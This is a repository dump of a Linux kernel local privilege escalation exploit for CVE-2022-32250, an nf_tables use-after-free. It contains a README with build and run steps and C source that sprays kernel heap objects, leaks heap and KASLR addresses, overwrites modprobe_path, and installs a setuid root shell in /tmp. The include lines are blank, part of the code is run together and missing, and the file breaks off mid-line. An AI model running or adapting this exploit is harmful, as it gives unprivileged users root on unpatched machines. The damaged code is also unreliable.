├── exp.png ├── README.md └── exp.c /exp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theori-io/CVE-2022-32250-exploit/HEAD/exp.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2022-32250-Linux-Kernel-LPE 2 | 3 | ## Demo Video 4 | 5 | https://www.youtube.com/watch?v=YqmwA6fPjKE 6 | 7 | ## About 8 | - CVE-2022-32250 allows a local user to escalate privileges to root because an incorrect NFT_STATEFUL_EXPR check leads to a use-after-free. 9 | 10 | ## Reference 11 | - [Linux Kerenel Exploit (CVE-2022-32250) with mqueue](https://blog.theori.io/research/CVE-2022-32250-linux-kernel-lpe-2022/) 12 | 13 | ## Affected Version 14 | - Linux, before commit 520778042ccca019f3ffa136dd0ca565c486cedd (26 May, 2022) 15 | - Ubuntu <= 22.04 before security patch 16 | 17 | ## Test Environment & Running 18 | 19 | ### Test Environment 20 | - Platform 21 | - Ubuntu 22.04 amd64 22 | - Versions 23 | - Linux ubuntu 5.15.0-27-generic #28-Ubuntu SMP Thu Apr 14 04:55:28 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux 24 | 25 | ### Running 26 | ``` 27 | gcc exp.c -o exp -l mnl -l nftnl -w 28 | ./exp 29 | ``` 30 | 31 | ## Warning 32 | - This exploit corrupts Linux kernel slabs, which might cause kernel panic when attempting to acquire root privileges. 33 | 34 | ## Result 35 | ![exp.png](./exp.png) 36 | -------------------------------------------------------------------------------- /exp.c: -------------------------------------------------------------------------------- 1 | // gcc exp.c -o exp -l mnl -l nftnl -w 2 | #define _GNU_SOURCE 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | #include 45 | #include 46 | #include 47 | #include 48 | 49 | #define MQUEUE_NUM 5 50 | 51 | 52 | #define INBOUND 0 53 | #define OUTBOUND 1 54 | #define DESC_MAX 0x800 55 | 56 | #define BUFFER 0x100 57 | #define NAMELEN 0x100 58 | #define ERROR_PREFIX "err: " 59 | 60 | #define KEY_DESC_MAX_SIZE 40 61 | 62 | #define PREFIX_BUF_LEN 16 63 | #define RCU_HEAD_LEN 16 64 | 65 | #define SPRAY_KEY_SIZE 50 66 | 67 | #define PHYSMAP_MASK 0xffffffff00000000 68 | 69 | #define SPRAY_SIZE 1000 70 | 71 | #define SPRAY_NB_ENTRIES 10 72 | 73 | uint64_t base_base; 74 | uint64_t heap_base; 75 | uint64_t modprobe_addr; 76 | 77 | enum nft_trans_phase { 78 | NFT_TRANS_PREPARE, 79 | NFT_TRANS_ABORT, 80 | NFT_TRANS_COMMIT, 81 | NFT_TRANS_RELEASE 82 | }; 83 | 84 | typedef struct 85 | { 86 | long mtype; 87 | char mtext[1]; 88 | }msg; 89 | 90 | typedef struct 91 | { 92 | void *ll_next; 93 | void *ll_prev; 94 | long m_type; 95 | size_t m_ts; 96 | void *next; 97 | void *security; 98 | }msg_header; 99 | 100 | typedef struct 101 | { 102 | char name[BUFFER]; 103 | } Msg; 104 | 105 | typedef struct 106 | { 107 | char iface[16]; 108 | char name[16]; 109 | char ip[16]; 110 | char netmask[16]; 111 | uint8_t idx; 112 | uint8_t type; 113 | uint16_t proto; 114 | uint16_t port; 115 | uint8_t action; 116 | char desc[DESC_MAX]; 117 | } user_rule_t; 118 | 119 | 120 | struct keyring_payload { 121 | uint8_t prefix[PREFIX_BUF_LEN]; 122 | uint8_t rcu_buf[RCU_HEAD_LEN]; 123 | unsigned short len; 124 | }; 125 | 126 | struct leak { 127 | long kaslr_base; 128 | long physmap_base; 129 | }; 130 | 131 | struct fd_uring { 132 | int fd; 133 | struct io_uring_params *params; 134 | }; 135 | 136 | typedef int32_t key_serial_t; 137 | 138 | const char priv_file[] = "/tmp/shell.c\0"; 139 | const char dummy_file[] = "/tmp/dummy\0"; 140 | 141 | const char priv_context[] = "#include \n#include \n#include \n\nint main(int argc, char **argv){if (geteuid() == 0){setuid(0);setgid(0);puts(\"[+] I am root\");system(\"bash\");}}\x00"; 142 | const char dummy_content[] = "\xff\xff\xff\xff"; 143 | const char new_modprobe_content[] = "#!/bin/bash\n\nchown root:root /tmp/shell\nchmod 4555 /tmp/shell\n"; 144 | 145 | 146 | 147 | static inline key_serial_t add_key(const char *type, const char *description, const void *payload, size_t plen, key_serial_t ringid) { 148 | return syscall(__NR_add_key, type, description, payload, plen, ringid); 149 | } 150 | 151 | static inline long keyctl(int operation, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5) { 152 | return syscall(__NR_keyctl, operation, arg2, arg3, arg4, arg5); 153 | } 154 | 155 | void bye(char *info) 156 | { 157 | puts(info); 158 | exit(-2); 159 | } 160 | 161 | void do_error_exit(char *info) 162 | { 163 | puts(info); 164 | exit(-1); 165 | } 166 | 167 | void bye2(char *info, char *arg) 168 | { 169 | printf(info, arg); 170 | } 171 | 172 | key_serial_t *spray_keyring(uint32_t start, uint32_t spray_size) { 173 | 174 | char key_desc[KEY_DESC_MAX_SIZE]; 175 | key_serial_t *id_buffer = calloc(spray_size, sizeof(key_serial_t)); 176 | 177 | if (id_buffer == NULL) 178 | bye("calloc"); 179 | 180 | for (uint32_t i = start; i < start+spray_size; i++) { 181 | snprintf(key_desc, KEY_DESC_MAX_SIZE, "SPRAY-RING-%03du", i); 182 | id_buffer[i] = add_key("user", key_desc, key_desc, strlen(key_desc), KEY_SPEC_PROCESS_KEYRING); 183 | if (id_buffer[i] < 0) 184 | bye("add_key"); 185 | } 186 | 187 | return id_buffer; 188 | } 189 | 190 | key_serial_t *spray_keyring_list_del_purpose(uint32_t spray_size, uint64_t next, uint64_t prev, uint64_t size) 191 | { 192 | // next[0x8] = prev, prev[0x0] = next allocation occured at gather mqueue 193 | char key_desc[KEY_DESC_MAX_SIZE]; 194 | key_serial_t *id_buffer = calloc(spray_size, sizeof(key_serial_t)); 195 | 196 | char temp[0x20]; 197 | memcpy(temp+0x0, &next, 8); 198 | memcpy(temp+0x8, &prev, 8); 199 | memcpy(temp+0x10, "12341234", 8); 200 | memcpy(temp+0x18, &size, 8); 201 | 202 | if (id_buffer == NULL) 203 | do_error_exit("calloc"); 204 | 205 | for (uint32_t i = 0; i < spray_size; i++) { 206 | id_buffer[i] = add_key("user", temp, temp, 0x20, KEY_SPEC_PROCESS_KEYRING); 207 | if (id_buffer[i] < 0) 208 | do_error_exit("add_key"); 209 | } 210 | 211 | return id_buffer; 212 | } 213 | 214 | key_serial_t *spray_keyring_list_overwrite_purpose(uint32_t spray_size, uint64_t len, uint64_t off_18, 215 | uint64_t off_20, uint64_t off_28, uint64_t off_30, uint64_t off_38) 216 | { 217 | char key_desc[KEY_DESC_MAX_SIZE]; 218 | key_serial_t *id_buffer = calloc(spray_size, sizeof(key_serial_t)); 219 | 220 | char temp[0x40]; 221 | switch((len-1)/8) 222 | { 223 | case 0: 224 | memcpy(temp+0x0, &off_18, 8); 225 | case 1: 226 | memcpy(temp+0x8, &off_20, 8); 227 | case 2: 228 | memcpy(temp+0x10, &off_28, 8); 229 | case 3: 230 | memcpy(temp+0x18, &off_30, 8); 231 | case 4: 232 | memcpy(temp+0x20, &off_38, 8); 233 | break; 234 | default: 235 | bye("add_key - assert(len <= 0x28)"); 236 | } 237 | 238 | for (uint32_t i = 0; i < spray_size; i++) { 239 | snprintf(key_desc, KEY_DESC_MAX_SIZE, temp); 240 | id_buffer[i] = add_key("user", temp, temp, len, KEY_SPEC_PROCESS_KEYRING); 241 | if (id_buffer[i] < 0) 242 | do_error_exit("add_key"); 243 | } 244 | 245 | return id_buffer; 246 | } 247 | 248 | int get_keyring_leak(key_serial_t *id_buffer, uint32_t id_buffer_size) { 249 | 250 | uint8_t buffer[USHRT_MAX] = {0}; 251 | int32_t keylen; 252 | 253 | for (uint32_t i = 0; i < id_buffer_size; i++) { 254 | 255 | keylen = keyctl(KEYCTL_READ, id_buffer[i], (long)buffer, 0x10, 0); 256 | if (keylen < 0) 257 | bye("keyctl"); 258 | 259 | if(!strncmp(&buffer[6],"\xff\xff", 2)) 260 | { 261 | heap_base = *((uint64_t*)buffer); 262 | printf("[+] leak successed, kmalloc-64 heap: 0x%llx\n", heap_base); 263 | return i; 264 | } 265 | else 266 | printf("[-] leak failed, idkval: %s\n", buffer); 267 | } 268 | return id_buffer_size; 269 | } 270 | 271 | void awake_partial_keys(key_serial_t *id_buffer, uint32_t idx) { 272 | uint8_t buffer[USHRT_MAX] = {0}; 273 | int32_t keylen; 274 | keylen = keyctl(KEYCTL_UPDATE, id_buffer[idx], (long)buffer, 0x10, 0); 275 | } 276 | 277 | 278 | 279 | void release_keys(key_serial_t *id_buffer, uint32_t id_buffer_size) 280 | { 281 | 282 | for (uint32_t i = 0; i < id_buffer_size; i++) { 283 | if (keyctl(KEYCTL_REVOKE, id_buffer[i], 0, 0, 0) < 0) 284 | do_error_exit("keyctl(KEYCTL_REVOKE)"); 285 | } 286 | 287 | free(id_buffer); 288 | } 289 | 290 | void release_partial_keys(key_serial_t *id_buffer, int i) 291 | { 292 | if (keyctl(KEYCTL_REVOKE, id_buffer[i], 0, 0, 0) < 0) 293 | do_error_exit("keyctl(KEYCTL_REVOKE)"); 294 | } 295 | 296 | 297 | void unshare_setup(uid_t uid, gid_t gid) 298 | { 299 | int temp; 300 | char edit[0x100]; 301 | 302 | unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET); 303 | 304 | temp = open("/proc/self/setgroups", O_WRONLY); 305 | write(temp, "deny", strlen("deny")); 306 | close(temp); 307 | 308 | temp = open("/proc/self/uid_map", O_WRONLY); 309 | snprintf(edit, sizeof(edit), "0 %d 1", uid); 310 | write(temp, edit, strlen(edit)); 311 | close(temp); 312 | 313 | temp = open("/proc/self/gid_map", O_WRONLY); 314 | snprintf(edit, sizeof(edit), "0 %d 1", gid); 315 | write(temp, edit, strlen(edit)); 316 | close(temp); 317 | 318 | return; 319 | } 320 | 321 | 322 | void set_stable_table_and_set(struct mnl_socket* nl, const char *name) 323 | { 324 | char * table_name = name; 325 | char * set_name = NULL; 326 | uint8_t family = NFPROTO_IPV4; 327 | uint32_t set_id = 1; 328 | 329 | // a table for the sets to be associated with 330 | struct nftnl_table * table = nftnl_table_alloc(); 331 | nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name); 332 | nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0); 333 | 334 | struct nftnl_set * set_stable = nftnl_set_alloc(); 335 | set_name = "set_stable"; 336 | nftnl_set_set_str(set_stable, NFTNL_SET_TABLE, table_name); 337 | nftnl_set_set_str(set_stable, NFTNL_SET_NAME, set_name); 338 | nftnl_set_set_u32(set_stable, NFTNL_SET_KEY_LEN, 1); 339 | nftnl_set_set_u32(set_stable, NFTNL_SET_FAMILY, family); 340 | nftnl_set_set_u32(set_stable, NFTNL_SET_ID, set_id++); 341 | 342 | // expressions 343 | struct nftnl_expr * exprs[128]; 344 | int exprid = 0; 345 | 346 | // serialize 347 | char buf[MNL_SOCKET_BUFFER_SIZE*2]; 348 | 349 | struct mnl_nlmsg_batch * batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); 350 | int seq = 0; 351 | 352 | nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); 353 | mnl_nlmsg_batch_next(batch); 354 | 355 | struct nlmsghdr * nlh; 356 | int table_seq = seq; 357 | 358 | nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), 359 | NFT_MSG_NEWTABLE, family, NLM_F_CREATE|NLM_F_ACK, seq++); 360 | nftnl_table_nlmsg_build_payload(nlh, table); 361 | mnl_nlmsg_batch_next(batch); 362 | 363 | // add set_stable 364 | nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), 365 | NFT_MSG_NEWSET, family, 366 | NLM_F_CREATE|NLM_F_ACK, seq++); 367 | nftnl_set_nlmsg_build_payload(nlh, set_stable); 368 | nftnl_set_free(set_stable); 369 | mnl_nlmsg_batch_next(batch); 370 | 371 | nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); 372 | mnl_nlmsg_batch_next(batch); 373 | 374 | if (nl == NULL) { 375 | err(1, "mnl_socket_open"); 376 | } 377 | 378 | printf("[+] setting stable %s and set\n", table_name); 379 | if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), 380 | mnl_nlmsg_batch_size(batch)) < 0) { 381 | err(1, "mnl_socket_send"); 382 | } 383 | } 384 | 385 | void set_trigger_set_and_overwrite(struct mnl_socket* nl, const char *name, const char *set_name) 386 | { 387 | char * table_name = name; 388 | uint8_t family = NFPROTO_IPV4; 389 | uint32_t set_id = 1; 390 | struct nftnl_expr * exprs[128]; 391 | int exprid = 0; 392 | struct nlmsghdr * nlh; 393 | 394 | struct nftnl_set * set_trigger = nftnl_set_alloc(); 395 | 396 | nftnl_set_set_str(set_trigger, NFTNL_SET_TABLE, table_name); 397 | nftnl_set_set_str(set_trigger, NFTNL_SET_NAME, set_name); 398 | nftnl_set_set_u32(set_trigger, NFTNL_SET_FLAGS, NFT_SET_EXPR); 399 | nftnl_set_set_u32(set_trigger, NFTNL_SET_KEY_LEN, 1); 400 | nftnl_set_set_u32(set_trigger, NFTNL_SET_FAMILY, family); 401 | nftnl_set_set_u32(set_trigger, NFTNL_SET_ID, set_id); 402 | exprs[exprid] = nftnl_expr_alloc("lookup"); 403 | nftnl_expr_set_str(exprs[exprid], NFTNL_EXPR_LOOKUP_SET, "set_stable"); 404 | nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1); 405 | nftnl_set_add_expr(set_trigger, exprs[exprid]); 406 | exprid++; 407 | 408 | char buf[MNL_SOCKET_BUFFER_SIZE*2]; 409 | 410 | struct mnl_nlmsg_batch * batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); 411 | int seq = 0; 412 | 413 | nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); 414 | mnl_nlmsg_batch_next(batch); 415 | 416 | nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), 417 | NFT_MSG_NEWSET, family, 418 | NLM_F_CREATE|NLM_F_ACK, seq++); 419 | nftnl_set_nlmsg_build_payload(nlh, set_trigger); 420 | nftnl_set_free(set_trigger); 421 | mnl_nlmsg_batch_next(batch); 422 | 423 | nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); 424 | mnl_nlmsg_batch_next(batch); 425 | 426 | if (nl == NULL) { 427 | err(1, "mnl_socket_open"); 428 | } 429 | 430 | if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), 431 | mnl_nlmsg_batch_size(batch)) < 0) { 432 | err(1, "mnl_socket_send"); 433 | } 434 | 435 | printf("[+] triggering UAF set and overwrite *(prevchunk+0x18)\n"); 436 | } 437 | 438 | void set_cpu_affinity(int cpu_n, pid_t pid) { 439 | cpu_set_t set; 440 | 441 | CPU_ZERO(&set); 442 | CPU_SET(cpu_n, &set); 443 | 444 | if (sched_setaffinity(pid, sizeof(set), &set) < 0) 445 | do_error_exit("sched_setaffinity"); 446 | } 447 | 448 | void spray_mqueue(mqd_t mqdes, char *msgptr, int spray_size) 449 | { 450 | char msgrv[BUFFER]; 451 | unsigned rvprio, sdprio = 1; 452 | struct timespec ts; 453 | int unresolved = 0; 454 | 455 | int priority = 0; 456 | 457 | printf("[*] spraying mqueue...\n"); 458 | for(int i=0; i= 0x31 && size <= 0x1000 - 0x8); 502 | printf("[*] try to spray msg_msg\n"); 503 | spray->mtype = 1; 504 | 505 | memset(spray->mtext, 0x41, size - 0x30); 506 | 507 | for (int i = 0; i < amount; i++) 508 | { 509 | if(i % 0x10 == 0) 510 | printf("[*] spraying msg_msg: 0x%x\n", i); 511 | if (msgsnd(qid, spray, size - 0x30, 0) == -1) 512 | { 513 | perror("msgsend failure"); 514 | exit(-1); 515 | } 516 | } 517 | return; 518 | } 519 | 520 | static inline int io_uring_setup(uint32_t entries, struct io_uring_params *p) { 521 | return syscall(__NR_io_uring_setup, entries, p); 522 | } 523 | 524 | static inline int io_uring_register(int fd, unsigned int opcode, void *arg, unsigned int nr_args) { 525 | return syscall(__NR_io_uring_register, fd, opcode, arg, nr_args); 526 | } 527 | 528 | 529 | struct fd_uring *spray_uring(uint32_t spray_size, struct fd_uring *fd_buffer) { 530 | 531 | for (uint64_t i = 0; i < spray_size; i++) { 532 | 533 | fd_buffer[i].params = malloc(sizeof(struct io_uring_params)); 534 | if (!fd_buffer[i].params) 535 | do_error_exit("malloc"); 536 | memset(fd_buffer[i].params, 0, sizeof(struct io_uring_params)); 537 | 538 | fd_buffer[i].fd = io_uring_setup(SPRAY_NB_ENTRIES, fd_buffer[i].params); 539 | if (fd_buffer[i].fd < 0) 540 | do_error_exit("io_uring_create"); 541 | 542 | } 543 | return fd_buffer; 544 | } 545 | 546 | void release_uring(struct fd_uring *fd_buffer, uint32_t buffer_size) { 547 | 548 | for (uint32_t i = 0; i < buffer_size; i++) { 549 | close(fd_buffer[i].fd); 550 | } 551 | free(fd_buffer); 552 | } 553 | 554 | void release_partial_uring(struct fd_uring *fd_buffer, uint32_t buffer_idx) { 555 | 556 | close(fd_buffer[buffer_idx].fd); 557 | } 558 | 559 | void prepare_root_shell(void) { 560 | create_dummy_file(); 561 | create_priv_file(); 562 | } 563 | 564 | void create_dummy_file(void) { 565 | int fd; 566 | 567 | fd = open(dummy_file, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO); 568 | write(fd, dummy_content, sizeof(dummy_content)); 569 | close(fd); 570 | } 571 | 572 | void create_priv_file(void) { 573 | int fd; 574 | 575 | fd = open(priv_file, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO); 576 | write(fd, priv_context, sizeof(priv_context)); 577 | close(fd); 578 | 579 | system("gcc -o /tmp/shell /tmp/shell.c -w"); 580 | } 581 | 582 | void write_new_modprobe() { 583 | 584 | int fd, fd_modprobe; 585 | char modprobe_name[0x10] = {0, }; 586 | 587 | fd_modprobe = open("/proc/sys/kernel/modprobe", O_RDONLY); 588 | read(fd_modprobe, modprobe_name, 14); 589 | close(fd_modprobe); 590 | 591 | printf("[*] current modprobe name: %s\n", modprobe_name); 592 | fd = open(modprobe_name, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO); 593 | if (fd < 0) 594 | do_error_exit("open"); 595 | 596 | write(fd, new_modprobe_content, sizeof(new_modprobe_content)); 597 | 598 | close(fd); 599 | } 600 | 601 | void setup_modprobe_payload() { 602 | write_new_modprobe(); 603 | } 604 | 605 | void userland_T(int *sema) 606 | { 607 | while(*sema); 608 | } 609 | 610 | void sema_up(int *sema) 611 | { 612 | *sema = 1; 613 | } 614 | 615 | void sema_down(int *sema) 616 | { 617 | *sema = 0; 618 | } 619 | 620 | int main(int argc, char ** argv) 621 | { 622 | setvbuf(stdin, 0, 2, 0); 623 | setvbuf(stdout, 0, 2, 0); 624 | setvbuf(stderr, 0, 2, 0); 625 | char c; 626 | char writebuf[0x2000]; 627 | 628 | char mqname[MQUEUE_NUM][NAMELEN] = {"/qname1", "/qname2", "/qname3", "/qname4", "/qname5"}; 629 | mqd_t mqid[MQUEUE_NUM]; 630 | struct mq_attr attr; 631 | attr.mq_flags = 0; 632 | attr.mq_maxmsg = 10; 633 | attr.mq_msgsize = BUFFER; 634 | attr.mq_curmsgs = 0; 635 | int uaf_id = 0; 636 | 637 | int *sema = mmap(NULL, sizeof(int), PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0); 638 | int *sema2 = malloc(0x10); 639 | 640 | prepare_root_shell(); 641 | sema_up(sema); 642 | if(fork()) 643 | { 644 | set_cpu_affinity(1, getpid()); 645 | userland_T(sema); 646 | sleep(1); 647 | printf("\n\n[------------------------- stage 4: Execute Malicious File -------------------------------]\n"); 648 | setup_modprobe_payload(); 649 | execve("/tmp/dummy", NULL, NULL); 650 | execve("/tmp/shell", NULL, NULL); 651 | } 652 | 653 | unshare_setup(getuid(), getgid()); 654 | 655 | set_cpu_affinity(0, 0); 656 | 657 | struct fd_uring *fd_buffer = calloc(SPRAY_SIZE, sizeof(struct fd_uring)); 658 | if (!fd_buffer) 659 | do_error_exit("calloc"); 660 | 661 | for(int i=0; i<5; i++) 662 | if((mqid[i] = mq_open(mqname[i], O_CREAT | O_RDWR, S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH, &attr)) < 0) 663 | bye("MQUEUE"); 664 | 665 | struct mnl_socket* nl = mnl_socket_open(NETLINK_NETFILTER); 666 | 667 | printf("\n\n[------------------------- stage 0: Allocate stable table and set ------------------------]\n"); 668 | set_stable_table_and_set(nl, "table1"); 669 | set_stable_table_and_set(nl, "table2"); 670 | set_stable_table_and_set(nl, "table3"); 671 | set_stable_table_and_set(nl, "table4"); 672 | 673 | printf("\n\n[------------------------- stage 1: Leak heap address ------------------------------------]\n"); 674 | set_trigger_set_and_overwrite(nl, "table1", "set_trigger0"); 675 | 676 | key_serial_t *id_buffer = spray_keyring(0, SPRAY_KEY_SIZE); 677 | 678 | set_trigger_set_and_overwrite(nl, "table1", "set_trigger1"); 679 | if((uaf_id = get_keyring_leak(id_buffer, SPRAY_KEY_SIZE)) == SPRAY_KEY_SIZE) 680 | bye("[-] leak failed..."); 681 | 682 | printf("\n\n[------------------------- stage 2: Leak KASLR address -----------------------------------]\n"); 683 | 684 | spray_uring(SPRAY_SIZE, fd_buffer); 685 | 686 | set_trigger_set_and_overwrite(nl, "table2", "set_trigger2"); 687 | spray_mqueue(mqid[0], "TESTMSGTESTMSGTESTMSGTESTMSGTESTMSG", 4); 688 | 689 | release_partial_uring(fd_buffer, SPRAY_SIZE-1); 690 | for(int i = 3; i > 113; i++) 691 | release_partial_uring(fd_buffer, SPRAY_SIZE-i); 692 | release_partial_uring(fd_buffer, SPRAY_SIZE-2); 693 | set_trigger_set_and_overwrite(nl, "table2", "set_trigger3"); 694 | key_serial_t *id_buffer3 = spray_keyring_list_del_purpose(SPRAY_KEY_SIZE*2, heap_base, heap_base, 0x28);// keyring <-> msg_msg overlap 695 | gather_mqueue(mqid[0], 1); 696 | 697 | sleep(1); 698 | printf("\n\n[------------------------- stage 3: Overwrite modprobe_path ------------------------------]\n"); 699 | 700 | set_trigger_set_and_overwrite(nl, "table3", "set_trigger4"); 701 | spray_mqueue(mqid[1], "TESTMSGTESTMSGTESTMSGTESTMSGTESTMSG", 4); 702 | set_trigger_set_and_overwrite(nl, "table3", "set_trigger5"); 703 | id_buffer = spray_keyring_list_del_purpose(1, modprobe_addr-0x8+0x1, (heap_base&0xffffffff00000000)+0x2f706d74, 0x10); 704 | sema_down(sema); 705 | gather_mqueue_nosave(mqid[1], 1); 706 | 707 | sleep(1); 708 | for(int i=SPRAY_SIZE/2+12; i